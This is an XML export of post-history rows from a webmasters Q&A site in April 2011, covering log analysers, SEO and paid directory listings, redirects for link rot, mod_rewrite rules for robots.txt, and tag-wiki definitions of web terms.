  <row Id="28729" PostHistoryTypeId="2" PostId="12578" RevisionGUID="80159ae6-cff1-4e16-affb-e877862229e2" CreationDate="2011-04-20T14:22:24.370" UserId="6389" Text="The two best known open source packages for this would be [webalizer][1] and [awstats][2], while both are often installed on a server they can be run at a command line with no problem, even on Windows. If you want really easy to use there are GUI front ends [available][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webalizer.org/&#xD;&#xA;  [2]: http://awstats.sourceforge.net/&#xD;&#xA;  [3]: http://www.tobias-schwarz.net/programmierung/webalizer_guie.html" />
  <row Id="28730" PostHistoryTypeId="2" PostId="12579" RevisionGUID="8f022b58-e716-4a11-a419-d4b6be16aa8f" CreationDate="2011-04-20T14:37:10.683" UserId="1064" Text="The `/l.php` URI is Facebook's exit/redirect page (Google strips the query string Facebook uses to redirect from links in messages, statuses, comments, etc) and the `/ajax/emu/end.php` referrer is your Facebook advertisement clicks.&#xD;&#xA;&#xD;&#xA;The best practice for tracking link sources (particularly for advertising) is the use of Google Analytics' [campaign tracking][1] to embed campaign information in all URL's which you post or advertise.&#xD;&#xA;&#xD;&#xA;The [campaign link tagging suggestions][2] should help you determine how you want to organize your campaigns and you could ostensibly create a new campaign name for every link you post.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=55540&#xD;&#xA;  [2]: http://www.google.com/support/analytics/bin/answer.py?answer=55518&amp;hl=en" />
  <row Id="28731" PostHistoryTypeId="25" PostId="12573" RevisionGUID="9835c54d-3d00-4d8b-bcae-5270b28aafe9" CreationDate="2011-04-20T15:09:18.203" Comment="http://twitter.com/#!/StackWebmasters/status/60721708549668864" />
  <row Id="28732" PostHistoryTypeId="2" PostId="12580" RevisionGUID="4803359c-035e-411c-8eed-4872db447bd5" CreationDate="2011-04-20T15:52:17.563" UserId="6987" Text="Check out &lt;a href=&quot;http://www.statcentric.com&quot;&gt;Stat Centric&lt;/a&gt;. It's web-based. You don't have to install it and really easy to use." />
  <row Id="28733" PostHistoryTypeId="2" PostId="12581" RevisionGUID="e29c4238-f04f-4033-8e7d-213dfdde658a" CreationDate="2011-04-20T15:59:27.137" UserId="4142" Text="I'd stick with your current system, although I may be biased as I use just about the same names myself.&#xD;&#xA;&#xD;&#xA;I find that keeping a three letter folder name is **verbose enough to have meaning, but concise enough to keep my URLs tidy**.&#xD;&#xA;&#xD;&#xA;Trimming each folder down to a single letter is overkill, and as mc10 points out, is widely open to interpretation. For instance, I would never choose 'a' for Javascript files: I would have picked 'b', for &quot;behavior&quot;. I don't think either is more correct, it just points out how ambiguous the naming scheme is.&#xD;&#xA;&#xD;&#xA;While using &quot;styles&quot; and &quot;images&quot; as folder names is perfectly fine, I find it makes much more sense to use a shorter name. Think about how many times that folder will be referenced, in every file, in every URL and request, and the bytes start adding up. Granted, I don't think you'll see any real-world bandwidth savings by using shorter folder names, but I'll take every bit (and byte) I can get.&#xD;&#xA;&#xD;&#xA;I usually stick to these couple folders:&#xD;&#xA;&#xD;&#xA; - **js** - Javascript files&#xD;&#xA; - **img** - Image files&#xD;&#xA; - **css** - CSS files&#xD;&#xA; - **lib** - Server-side scripts that do not produce output. Libraries, classes, etc.&#xD;&#xA; - **doc** - Binary files, like office documents and PDFs, that aren't part of normal page navigation&#xD;&#xA;&#xD;&#xA;" />
  <row Id="28734" PostHistoryTypeId="2" PostId="12582" RevisionGUID="93b26ea2-b99f-49b1-9388-4acb84397468" CreationDate="2011-04-20T16:04:57.943" UserId="4142" Text="You can configure the subdomain site to send an additional [X-Robots-tag][1] HTTP header, assuming that each subdomain is set up as it's own virtual site.&#xD;&#xA;&#xD;&#xA;That will allow you to tell spiders not to index that subdomain. The catch is that I do not know how many crawlers currently support this header. A quick look indicates that Google and Yahoo! do.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/web/controlcrawlindex/docs/robots_meta_tag.html" />
  <row Id="28735" PostHistoryTypeId="2" PostId="12583" RevisionGUID="1f08a271-364d-430e-a2d4-172c24c3c0d4" CreationDate="2011-04-20T16:12:53.140" UserId="195" Text="Im adding a blog to a site. Would it be better to put it at `blog.example.com` or at `www.exampleblog.com`?  I already own `www.exampleblog.com` ." />
  <row Id="28736" PostHistoryTypeId="1" PostId="12583" RevisionGUID="1f08a271-364d-430e-a2d4-172c24c3c0d4" CreationDate="2011-04-20T16:12:53.140" UserId="195" Text="Subdomain versus new domain" />
  <row Id="28737" PostHistoryTypeId="3" PostId="12583" RevisionGUID="1f08a271-364d-430e-a2d4-172c24c3c0d4" CreationDate="2011-04-20T16:12:53.140" UserId="195" Text="&lt;seo&gt;&lt;domains&gt;&lt;blog&gt;&lt;subdomain&gt;" />
  <row Id="28738" PostHistoryTypeId="2" PostId="12584" RevisionGUID="d49d0e21-ed83-46f5-beb9-c0e8e93ce845" CreationDate="2011-04-20T16:36:57.810" UserId="5718" Text="I keep getting promotion codes from business.com stating that I can get a listing at $100 discount. However, that's still $199 and I'm not clear about the benefit. I would understand if I was paying for somewhere I could put I detailed profile (similar to what I can do with LinkedIn, CrunchBase or even Facebook for free) but it's just a text link. &#xD;&#xA;&#xD;&#xA;I can't even find a single suitable category to use so I doubt potential customers would be able to find the link either. I would need to pay for multiple listings to get into all the categories that may be useful. However, I could do that with their PPC program and given the estimated clicks they tell me I will get it appears to be more economical.&#xD;&#xA;&#xD;&#xA;In reality I believe that most people wouldn't even bother browsing through a directory hierarchy to find a suitable business these days. They would just use Google... and that seems to be the crux of their marketing message...&#xD;&#xA;&#xD;&#xA;The emails they send me have quotes from Aron Wall saying that he is &quot;a BIG buyer of [business.com] directory listings&quot; and that &quot;It is part of [his agencies] SEO process for the sites [they] care about most&quot;. It appears to me that I wouldn't really be buying a listing that was useful in itself, I would actually be purchasing a paid backlink from a reputable site in the theory that it would pass reputation on to my site in Google's eyes...&#xD;&#xA;&#xD;&#xA;Does anyone have any **recent** experience with business.com listings and know anything about their current value (SEO or otherwise)? I thought that relevancy was more important for linking these days and the PageRank of the source page wasn't as important anymore.&#xD;&#xA;&#xD;&#xA;Also, isn't 'paying for a backlink' just 'paying for a backlink', regardless about how it's sold? If the value of a business.com listing just relates to reputation that theoretically anyone can purchase then why should Google place much value that reputation?&#xD;&#xA;" />
  <row Id="28739" PostHistoryTypeId="1" PostId="12584" RevisionGUID="d49d0e21-ed83-46f5-beb9-c0e8e93ce845" CreationDate="2011-04-20T16:36:57.810" UserId="5718" Text="Should I bother with a Business.com Listing?" />
  <row Id="28740" PostHistoryTypeId="3" PostId="12584" RevisionGUID="d49d0e21-ed83-46f5-beb9-c0e8e93ce845" CreationDate="2011-04-20T16:36:57.810" UserId="5718" Text="&lt;seo&gt;" />
  <row Id="28741" PostHistoryTypeId="5" PostId="11632" RevisionGUID="b18df89e-3084-4ed3-9b50-f03466a5789e" CreationDate="2011-04-20T16:53:24.357" UserId="4786" Comment="converted to list" Text="I am searching for PHP Gallery Script with:&#xD;&#xA;&#xD;&#xA; 1. get images from folders&#xD;&#xA; 2. thumb resizer&#xD;&#xA; 3. no admin&#xD;&#xA; 4. no db" />
  <row Id="28742" PostHistoryTypeId="24" PostId="11632" RevisionGUID="b18df89e-3084-4ed3-9b50-f03466a5789e" CreationDate="2011-04-20T16:53:24.357" Comment="Proposed by 4786 approved by 108 edit id of 135" />
  <row Id="28743" PostHistoryTypeId="5" PostId="12530" RevisionGUID="d0590db4-dcfd-4abc-aaa8-95b867a4259f" CreationDate="2011-04-20T16:53:33.953" UserId="5013" Comment="added 110 characters in body" Text="Blogs are journals made of dated entries and published on the web. Their name derives from the term &quot;web log.&quot;" />
  <row Id="28744" PostHistoryTypeId="24" PostId="12530" RevisionGUID="d0590db4-dcfd-4abc-aaa8-95b867a4259f" CreationDate="2011-04-20T16:53:33.953" Comment="Proposed by 5013 approved by 108 edit id of 163" />
  <row Id="28745" PostHistoryTypeId="5" PostId="12520" RevisionGUID="fe40ea37-b575-4e3e-be7e-2075584bd15f" CreationDate="2011-04-20T16:53:49.473" UserId="5013" Comment="added 126 characters in body" Text="CMS stands for Content Management System. A CMS is a platform used to build websites that are easily edited by multiple users." />
  <row Id="28746" PostHistoryTypeId="24" PostId="12520" RevisionGUID="fe40ea37-b575-4e3e-be7e-2075584bd15f" CreationDate="2011-04-20T16:53:49.473" Comment="Proposed by 5013 approved by 108 edit id of 158" />
  <row Id="28747" PostHistoryTypeId="5" PostId="12418" RevisionGUID="8f00fdd3-c0a0-4956-87f7-9154198fd3d8" CreationDate="2011-04-20T16:54:11.393" UserId="4786" Comment="removed greeting, fixed ebbreviations" Text="I use google analytics to monitor visitors access, and I am very happy with it, easy to use blabla, you name it :)&#xD;&#xA;&#xD;&#xA;Few days ago I copied IIS logs from website and used free/evaluation commercial log parsers on the market to find out what RAW IIS logs tells me about the visitors. &#xD;&#xA;I was shocked that IIS tells me that I have 3x more visits/hits daily than in google analytics. Spiders are not included in IIS logs (filtered them via parse app). &#xD;&#xA;&#xD;&#xA;What I assume is one amount of the hits have javascript disabled and there can be a small difference around 20% (I have that stats from another site). &#xD;&#xA;&#xD;&#xA;What I don't understand is 3x difference between raw logs and GA. &#xD;&#xA;On the site we run product oriented site for the application that is used on windows servers, and windows servers by default have JS disabled, so I assume some of the users might be in that difference as well, just I don't understand 3x difference between numbers. &#xD;&#xA;&#xD;&#xA;Any good explanation? &#xD;&#xA;&#xD;&#xA;" />
  <row Id="28748" PostHistoryTypeId="24" PostId="12418" RevisionGUID="8f00fdd3-c0a0-4956-87f7-9154198fd3d8" CreationDate="2011-04-20T16:54:11.393" Comment="Proposed by 4786 approved by 108 edit id of 139" />
  <row Id="28749" PostHistoryTypeId="2" PostId="12585" RevisionGUID="e7ff8ac8-b8e6-40f6-9775-e89bcf7bf6d1" CreationDate="2011-04-20T16:55:43.047" UserId="6990" Text="I try to do my bit of keeping the web fluent by minimizing the amount of link rot affecting my own site. This means keeping track of local 404's and fixing them, as well as manually updating broken external URL references I come across.&#xD;&#xA;&#xD;&#xA;I've seen redirects suggested as one solution to combat link rot. When all links point to local redirect addresses (such as example.com/?r=123456), the actual target URL can be kept in a database and updated throughout the site in one place in the face of link rot.&#xD;&#xA;&#xD;&#xA;However, on the user side I generally dislike redirect systems myself, as they make picking up the actual target URL's somewhat cumbersome (have a look at the title links on a Google search results page for example).&#xD;&#xA;&#xD;&#xA;Then again, maybe I've used sites that do employ redirects but do it transparently enough for me not to even notice.&#xD;&#xA;&#xD;&#xA;**Is a transparent (or nearly-so) redirect system at all possible? Are such systems available already, or should I roll my own?**&#xD;&#xA;&#xD;&#xA;Also, I'd be interested to hear if there are other major cons in utilizing redirects. So far, the user annoyance I mentioned above has been enough to keep me from planning ahead with this technique." />
  <row Id="28750" PostHistoryTypeId="1" PostId="12585" RevisionGUID="e7ff8ac8-b8e6-40f6-9775-e89bcf7bf6d1" CreationDate="2011-04-20T16:55:43.047" UserId="6990" Text="Should I combat link rot with redirects? Can it be done unintrusively?" />
  <row Id="28751" PostHistoryTypeId="3" PostId="12585" RevisionGUID="e7ff8ac8-b8e6-40f6-9775-e89bcf7bf6d1" CreationDate="2011-04-20T16:55:43.047" UserId="6990" Text="&lt;redirects&gt;&lt;usability&gt;" />
  <row Id="28752" PostHistoryTypeId="2" PostId="12586" RevisionGUID="f5f55e39-9769-42d3-82d1-88194f90a7a1" CreationDate="2011-04-20T17:06:28.980" UserId="1253" Text="Their directory links are nofollow so their SEO value is zero (you can verify this by viewing the source of any directory page)&#xD;&#xA;&#xD;&#xA;The only potential value you would get from a listing there is traffic but I have yet to hear anyone rave about the traffic they get from business.com so it probably doesn't deliver enough traffic to be worth the cost even with $100 off.&#xD;&#xA;&#xD;&#xA;`&lt;opinion&gt;`Their directory looks spammy and low quality. I don't think they have any quality guidelines and if your payment clears you're good enough to be listed. I don't think a listing there will enhance your reputation at all.`&lt;/opinion&gt;`" />
  <row Id="28753" PostHistoryTypeId="2" PostId="12587" RevisionGUID="bb14b3e6-627f-454a-8d1d-f10f1572bbe9" CreationDate="2011-04-20T17:07:08.963" UserId="6966" Text="I ended up using `mod_rewrite` to accomplish what I need:&#xD;&#xA;&#xD;&#xA;	RewriteEngine On&#xD;&#xA;	&#xD;&#xA;	RewriteCond %{HTTP_HOST} ^demo\.example\.com&#xD;&#xA;	RewriteRule ^robots\.txt$ robots-demo\.txt&#xD;&#xA;	&#xD;&#xA;	RewriteCond %{HTTPD_HOST} !^demo\.example\.com&#xD;&#xA;	RewriteRule ^robots\.txt$ robots-othersites\.txt" />
  <row Id="28754" PostHistoryTypeId="5" PostId="12508" RevisionGUID="6481b5b1-169d-47a8-bdbf-8df3d6edaa7e" CreationDate="2011-04-20T17:10:35.873" UserId="5013" Comment="added 1302 characters in body" Text="[CSS][1], short for Cascading Style Sheets, is a language used to control the presentation of HTML and XHTML documents. Each CSS document is made out of rulesets preceded by a selector - a set of rules for matching HTML and XHTML elements, containing property-value pairs that defines the presentation of the elements matching the selector. CSS is presented as a collection of features (CSS1, CSS2, CSS3).&#xD;&#xA;&#xD;&#xA;### Useful links&#xD;&#xA;&#xD;&#xA; * [W3C Cascading Style Sheets home page](http://www.w3.org/Style/CSS/)&#xD;&#xA; * [SitePoint CSS Reference](http://reference.sitepoint.com/css)&#xD;&#xA; * [W3C CSS Validation Service][2]&#xD;&#xA; * [Cascading Style Sheets on the Web Standards Curriculum](http://dev.opera.com/articles/view/27-css-basics/)&#xD;&#xA; * [Eric Meyer's reset.css](http://meyerweb.com/eric/tools/css/reset/)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Cascading_Style_Sheets&#xD;&#xA;  [2]: http://jigsaw.w3.org/css-validator/&#xD;&#xA;&#xD;&#xA;### Pure CSS Alternatives (CSS Automation)&#xD;&#xA;&#xD;&#xA; * [LessCSS](http://lesscss.org)&#xD;&#xA; * [SASS](http://sass-lang.com)&#xD;&#xA;&#xD;&#xA;### Frameworks&#xD;&#xA;&#xD;&#xA; * [Blueprint](http://blueprintcss.org/)&#xD;&#xA; * [960 CSS Framework](http://960.gs/)&#xD;&#xA; * [JQuery UI CSS Framework](http://docs.jquery.com/UI/Theming/API#The_jQuery_UI_CSS_Framework)&#xD;&#xA; * [YAML](http://www.yaml.de/en/)&#xD;&#xA; * [YUI CSS Grids](http://developer.yahoo.com/yui/grids/)" />
  <row Id="28755" PostHistoryTypeId="24" PostId="12508" RevisionGUID="6481b5b1-169d-47a8-bdbf-8df3d6edaa7e" CreationDate="2011-04-20T17:10:35.873" Comment="Proposed by 5013 approved by 1253 edit id of 152" />
  <row Id="28756" PostHistoryTypeId="5" PostId="12509" RevisionGUID="759ab99f-8b88-48a5-b817-df0f5ab11a08" CreationDate="2011-04-20T17:10:39.057" UserId="5013" Comment="added 152 characters in body" Text="CSS, short for Cascading Style Sheets, is a language used to control the presentation (including colors, layout, and fonts) of HTML and XHTML documents." />
  <row Id="28757" PostHistoryTypeId="24" PostId="12509" RevisionGUID="759ab99f-8b88-48a5-b817-df0f5ab11a08" CreationDate="2011-04-20T17:10:39.057" Comment="Proposed by 5013 approved by 1253 edit id of 153" />
  <row Id="28758" PostHistoryTypeId="5" PostId="12526" RevisionGUID="6cb2014b-a1ee-484e-af07-637c4ed230ce" CreationDate="2011-04-20T17:10:41.690" UserId="5013" Comment="added 46 characters in body" Text="Drupal is a popular open source PHP-based CMS." />
  <row Id="28759" PostHistoryTypeId="24" PostId="12526" RevisionGUID="6cb2014b-a1ee-484e-af07-637c4ed230ce" CreationDate="2011-04-20T17:10:41.690" Comment="Proposed by 5013 approved by 1253 edit id of 161" />
  <row Id="28760" PostHistoryTypeId="5" PostId="12536" RevisionGUID="f2c84c32-6236-4930-8c69-77c425ed2cd2" CreationDate="2011-04-20T17:10:44.327" UserId="5013" Comment="added 302 characters in body" Text="eCommerce, consists of the buying and selling of products or services over electronic systems such as the Internet and other computer networks. This is a generic tag for all ecommerce systems. Frameworks that facilitate development of such systems like magento, nopcommerce have their own tags as well." />
  <row Id="28761" PostHistoryTypeId="24" PostId="12536" RevisionGUID="f2c84c32-6236-4930-8c69-77c425ed2cd2" CreationDate="2011-04-20T17:10:44.327" Comment="Proposed by 5013 approved by 1253 edit id of 166" />
  <row Id="28762" PostHistoryTypeId="5" PostId="12532" RevisionGUID="06637322-dcfb-40ff-a1ce-4d64598223c7" CreationDate="2011-04-20T17:10:46.277" UserId="5013" Comment="added 202 characters in body" Text="Facebook is the largest social networking site in the world. With over 500 million users Facebook is a thriving platform that developers can use to communicate with users and promote their applications." />
  <row Id="28763" PostHistoryTypeId="24" PostId="12532" RevisionGUID="06637322-dcfb-40ff-a1ce-4d64598223c7" CreationDate="2011-04-20T17:10:46.277" Comment="Proposed by 5013 approved by 1253 edit id of 164" />
  <row Id="28764" PostHistoryTypeId="5" PostId="12515" RevisionGUID="370d6baa-9253-477c-8edb-12cbbca3b4ed" CreationDate="2011-04-20T17:10:48.370" UserId="5013" Comment="added 104 characters in body" Text="Google Analytics is a free web analytics solution provided by Google featuring several client-side APIs." />
  <row Id="28765" PostHistoryTypeId="24" PostId="12515" RevisionGUID="370d6baa-9253-477c-8edb-12cbbca3b4ed" CreationDate="2011-04-20T17:10:48.370" Comment="Proposed by 5013 approved by 1253 edit id of 156" />
  <row Id="28766" PostHistoryTypeId="5" PostId="12506" RevisionGUID="dd9f7ada-5797-4279-975d-2ebde9b593c5" CreationDate="2011-04-20T17:10:50.897" UserId="5013" Comment="added 1218 characters in body" Text="HTML (HyperText Markup Language) is a markup language similar to [XML][1] that is commonly used to create websites. It was created as an application of SGML, has been extended to create [XHTML][2] (eXtensible HTML). &#xD;&#xA;&#xD;&#xA;The HTML standards, as well as that for many other web technologies, is maintained by the [World Wide Web Consortium][3] (the W3C). The current iteration of the language, HTML4, was introduced in 1997, while the next iteration, HTML5, is currently under active development jointly by the W3C and the [Web Hypertext Application Technology Working Group][4] (WHATWG). &#xD;&#xA;&#xD;&#xA;The language specification and standards documents are available online at the [HTML 4.01 Specification documentation.][5]&#xD;&#xA;&#xD;&#xA;**Useful tools and references**&#xD;&#xA;&#xD;&#xA; - [W3C HTML Validator][6]&#xD;&#xA; - [SitePoint HTML reference][7]&#xD;&#xA; - [The Web Standards Curriculum][8]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/tags/xml/info&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Xhtml&#xD;&#xA;  [3]: http://www.w3.org/&#xD;&#xA;  [4]: http://www.whatwg.org/&#xD;&#xA;  [5]: http://www.w3.org/TR/1999/REC-html401-19991224/&#xD;&#xA;  [6]: http://validator.w3.org/&#xD;&#xA;  [7]: http://reference.sitepoint.com/html&#xD;&#xA;  [8]: http://dev.opera.com/articles/view/1-introduction-to-the-web-standards-cur/" />
  <row Id="28767" PostHistoryTypeId="24" PostId="12506" RevisionGUID="dd9f7ada-5797-4279-975d-2ebde9b593c5" CreationDate="2011-04-20T17:10:50.897" Comment="Proposed by 5013 approved by 1253 edit id of 150" />
  <row Id="28768" PostHistoryTypeId="5" PostId="12507" RevisionGUID="643d764b-76bf-4c00-b9bd-b5239ddf0e3c" CreationDate="2011-04-20T17:10:53.190" UserId="5013" Comment="added 253 characters in body" Text="HTML (HyperText Markup Language) is the predominant markup language used for creating web pages. In modern web pages, HTML is used to markup the contents of the website, while CSS and Javascript are used to define the styles and behaviors respectively. " />
  <row Id="28769" PostHistoryTypeId="24" PostId="12507" RevisionGUID="643d764b-76bf-4c00-b9bd-b5239ddf0e3c" CreationDate="2011-04-20T17:10:53.190" Comment="Proposed by 5013 approved by 1253 edit id of 151" />
  <row Id="28770" PostHistoryTypeId="5" PostId="12538" RevisionGUID="5a2a9331-33c6-4be2-bccc-0c31101fad6d" CreationDate="2011-04-20T17:10:55.403" UserId="5013" Comment="added 172 characters in body" Text="Joomla! is an open-source CMS written in PHP and powered by an MVC-oriented framework. Over 6,000 extensions are available and can be installed through the admin interface." />
  <row Id="28771" PostHistoryTypeId="24" PostId="12538" RevisionGUID="5a2a9331-33c6-4be2-bccc-0c31101fad6d" CreationDate="2011-04-20T17:10:55.403" Comment="Proposed by 5013 approved by 1253 edit id of 167" />
  <row Id="28772" PostHistoryTypeId="5" PostId="12511" RevisionGUID="7c528a88-1e15-4c76-8e9f-1674f1a8735d" CreationDate="2011-04-20T17:10:57.590" UserId="5013" Comment="added 91 characters in body" Text="PHP is a general-purpose scripting language that is especially suited for Web development. " />
  <row Id="28773" PostHistoryTypeId="24" PostId="12511" RevisionGUID="7c528a88-1e15-4c76-8e9f-1674f1a8735d" CreationDate="2011-04-20T17:10:57.590" Comment="Proposed by 5013 approved by 1253 edit id of 154" />
  <row Id="28774" PostHistoryTypeId="5" PostId="12522" RevisionGUID="ac45d3ca-1208-4f3b-b4f9-10117fa2ec74" CreationDate="2011-04-20T17:10:59.617" UserId="5013" Comment="added 140 characters in body" Text="A search engine is program that searches documents for specified keywords and returns a list of the documents where the keywords were found." />
  <row Id="28775" PostHistoryTypeId="24" PostId="12522" RevisionGUID="ac45d3ca-1208-4f3b-b4f9-10117fa2ec74" CreationDate="2011-04-20T17:10:59.617" Comment="Proposed by 5013 approved by 1253 edit id of 159" />
  <row Id="28776" PostHistoryTypeId="5" PostId="12534" RevisionGUID="18cdc87f-f4d1-48dd-a111-7f3e6e4f2f69" CreationDate="2011-04-20T17:11:01.940" UserId="5013" Comment="added 89 characters in body" Text="A site map (or sitemap) is a list of pages of a web site accessible to crawlers or users." />
  <row Id="28777" PostHistoryTypeId="24" PostId="12534" RevisionGUID="18cdc87f-f4d1-48dd-a111-7f3e6e4f2f69" CreationDate="2011-04-20T17:11:01.940" Comment="Proposed by 5013 approved by 1253 edit id of 165" />
  <row Id="28778" PostHistoryTypeId="5" PostId="12528" RevisionGUID="9dc65de0-9f47-4db7-a41a-2fc0dbda01fd" CreationDate="2011-04-20T17:11:03.983" UserId="5013" Comment="added 111 characters in body" Text="Secure Sockets Layer (SSL) is a cryptographic protocol that provides communications security over the Internet." />
  <row Id="28779" PostHistoryTypeId="24" PostId="12528" RevisionGUID="9dc65de0-9f47-4db7-a41a-2fc0dbda01fd" CreationDate="2011-04-20T17:11:03.983" Comment="Proposed by 5013 approved by 1253 edit id of 162" />
  <row Id="28780" PostHistoryTypeId="5" PostId="12540" RevisionGUID="f93072e4-e266-42c5-8c3a-3e83a295a5df" CreationDate="2011-04-20T17:11:06.340" UserId="5013" Comment="added 379 characters in body" Text="A URL rewrite engine is software that modifies a web URL's appearance (URL rewriting). Rewritten URLs (sometimes known as short, fancy URLs, or search engine friendly - SEF) are used to provide shorter and more relevant-looking links to web pages. The technique adds a degree of separation between the files used to generate a web page and the URL that is presented to the world." />
  <row Id="28781" PostHistoryTypeId="24" PostId="12540" RevisionGUID="f93072e4-e266-42c5-8c3a-3e83a295a5df" CreationDate="2011-04-20T17:11:06.340" Comment="Proposed by 5013 approved by 1253 edit id of 168" />
  <row Id="28782" PostHistoryTypeId="5" PostId="12513" RevisionGUID="511f30d0-3bcb-4c91-8cc9-aa1e1b321d73" CreationDate="2011-04-20T17:11:08.930" UserId="5013" Comment="added 199 characters in body" Text="Web development is the development of sites on the World Wide Web or private intranets. It includes many topics including server side programming, client side scripting, web services and site design." />
  <row Id="28783" PostHistoryTypeId="24" PostId="12513" RevisionGUID="511f30d0-3bcb-4c91-8cc9-aa1e1b321d73" CreationDate="2011-04-20T17:11:08.930" Comment="Proposed by 5013 approved by 1253 edit id of 155" />
  <row Id="28784" PostHistoryTypeId="5" PostId="12524" RevisionGUID="63e5c68c-edab-40f8-b0f4-9a53eb4e27b9" CreationDate="2011-04-20T17:11:10.910" UserId="5013" Comment="added 95 characters in body" Text="A website is collection of related web pages containing images, videos or other digital assets." />
  <row Id="28785" PostHistoryTypeId="24" PostId="12524" RevisionGUID="63e5c68c-edab-40f8-b0f4-9a53eb4e27b9" CreationDate="2011-04-20T17:11:10.910" Comment="Proposed by 5013 approved by 1253 edit id of 160" />
  <row Id="28786" PostHistoryTypeId="5" PostId="12517" RevisionGUID="727ba210-7662-4baf-bf61-a74a46186d21" CreationDate="2011-04-20T17:11:13.407" UserId="5013" Comment="added 243 characters in body" Text="WordPress is an open source content management system running on PHP and MySQL often used as a blog engine. WordPress has a very active community and thousands of plugins and themes, the current version (3.1) was released on February 22, 2011." />
  <row Id="28787" PostHistoryTypeId="24" PostId="12517" RevisionGUID="727ba210-7662-4baf-bf61-a74a46186d21" CreationDate="2011-04-20T17:11:13.407" Comment="Proposed by 5013 approved by 1253 edit id of 157" />
  <row Id="28788" PostHistoryTypeId="5" PostId="12586" RevisionGUID="c00742fa-1cd3-4297-b1f4-dc8bcfc8f457" CreationDate="2011-04-20T17:23:00.767" UserId="1253" Comment="added 127 characters in body; added 110 characters in body; deleted 1 characters in body" Text="Their directory links are nofollow so their SEO value is zero (you can verify this by viewing the source of any directory page). This meets [Google's guidelines for selling links][1] so there isn't any penalty for business.com or the site purchasing the link.&#xD;&#xA;&#xD;&#xA;The only potential value you would get from a listing there is traffic but I have yet to hear anyone rave about the traffic they get from business.com so it probably doesn't deliver enough traffic to be worth the cost even with $100 off.&#xD;&#xA;&#xD;&#xA;`&lt;opinion&gt;`Their directory looks spammy and low quality. I don't think they have any quality guidelines so if your payment clears you're good enough to be listed. I don't think a listing there will enhance your reputation at all.`&lt;/opinion&gt;`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2007/12/information-about-buying-and-selling.html" />
  <row Id="28789" PostHistoryTypeId="2" PostId="12588" RevisionGUID="c55a6d1e-f4b3-4749-bc07-e39caf3de343" CreationDate="2011-04-20T17:44:27.857" UserId="6991" Text="Its been about three years since I've played with apache and php(I've been using thin and nignx ;). So I've forgotten how to setup a mod_rewrite directive to forward all http requests from root to the application's installed folder.&#xD;&#xA;&#xD;&#xA; Current setup and restrictions:&#xD;&#xA;&#xD;&#xA; - The site is on a shared cpanel hosting&#xD;&#xA;   service that doesn't allow&#xD;&#xA;   applications being installed as root&#xD;&#xA;   (feature not a bug in my book for&#xD;&#xA;   versioning and what not).&#xD;&#xA; - CMS application was installed under joomla-1.5.60/&#xD;&#xA; - I need to setup /(.\*) to redirect to&#xD;&#xA;   /joomla-1.5.60/$1 but still look to&#xD;&#xA;   the browser as /(.\*)&#xD;&#xA; - RedirectMatch does not work&#xD;&#xA; - I cannot establish docroot as the application's root because of account restrictions&#xD;&#xA;&#xD;&#xA;I've read over the docs by apache and I keep getting a redirection loop. So any help you guys can provide would be appreciated.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;D." />
  <row Id="28790" PostHistoryTypeId="1" PostId="12588" RevisionGUID="c55a6d1e-f4b3-4749-bc07-e39caf3de343" CreationDate="2011-04-20T17:44:27.857" UserId="6991" Text="How to setup mod_rewrite/htaccess to do url masking and forwarding to a subdirectory?" />
  <row Id="28791" PostHistoryTypeId="3" PostId="12588" RevisionGUID="c55a6d1e-f4b3-4749-bc07-e39caf3de343" CreationDate="2011-04-20T17:44:27.857" UserId="6991" Text="&lt;apache&gt;&lt;redirects&gt;&lt;url&gt;&lt;mod-rewrite&gt;&lt;301-redirect&gt;" />
  <row Id="28792" PostHistoryTypeId="25" PostId="12584" RevisionGUID="1996b426-3ff9-4584-917a-12ddede32922" CreationDate="2011-04-20T18:09:17.727" Comment="http://twitter.com/#!/StackWebmasters/status/60767005522935808" />
  <row Id="28793" PostHistoryTypeId="2" PostId="12589" RevisionGUID="0133358f-e4e0-4652-aa38-37b4d06328c5" CreationDate="2011-04-20T18:53:48.507" UserId="6590" Text="Google Webmaster Tools is reporting a crawl error &quot;404 (Not Found)&quot; for an .html page which has never existed on a web site I developed. The page being reported is &quot;tyuiabmog.html&quot;, which doesn't sound like it was named by a human!&#xD;&#xA;&#xD;&#xA;Please could someone help me to shed some light on how Google came across this non-existent page and why it is trying to crawl it?" />
  <row Id="28794" PostHistoryTypeId="1" PostId="12589" RevisionGUID="0133358f-e4e0-4652-aa38-37b4d06328c5" CreationDate="2011-04-20T18:53:48.507" UserId="6590" Text="Google Webmaster Tools reporting crawl error 404 (Not found) for a page which has never existed" />
  <row Id="28795" PostHistoryTypeId="3" PostId="12589" RevisionGUID="0133358f-e4e0-4652-aa38-37b4d06328c5" CreationDate="2011-04-20T18:53:48.507" UserId="6590" Text="&lt;html&gt;&lt;google-webmaster-tools&gt;&lt;404&gt;&lt;google-crawlers&gt;" />
  <row Id="28796" PostHistoryTypeId="2" PostId="12590" RevisionGUID="6dcefe71-c5f7-4b24-84df-02319eb5188a" CreationDate="2011-04-20T19:07:56.893" UserId="1064" Text="&gt; Should I combat link rot with&#xD;&#xA;&gt; redirects?&#xD;&#xA;&#xD;&#xA;Definitely!&#xD;&#xA;&#xD;&#xA;&gt; Can it be done unintrusively?&#xD;&#xA;&#xD;&#xA;The overhead associated with a redirect lookup script on a rarely-visited URI shouldn't be an issue if your server is not already struggling to get by, so (while I haven't tried any out-of-the-box solutions) I think it's safe to say that replacing your static 404 page with a script which checks for redirects and issues a `301 - Permanent` if it finds any before returning a 404 status is a good idea.&#xD;&#xA;&#xD;&#xA;Anecdotally, I've used a 404 handler script in one form or another for years and there really is no reason not to - it is particularly important to keep up with link rot on older domains as the oldest content tends to have the greatest number of links, though keeping up on your logs can really pay off when a malformed link to your content becomes popular (i.e. `http://domain.com/page/)` from a malformed e-mail link or forum post)." />
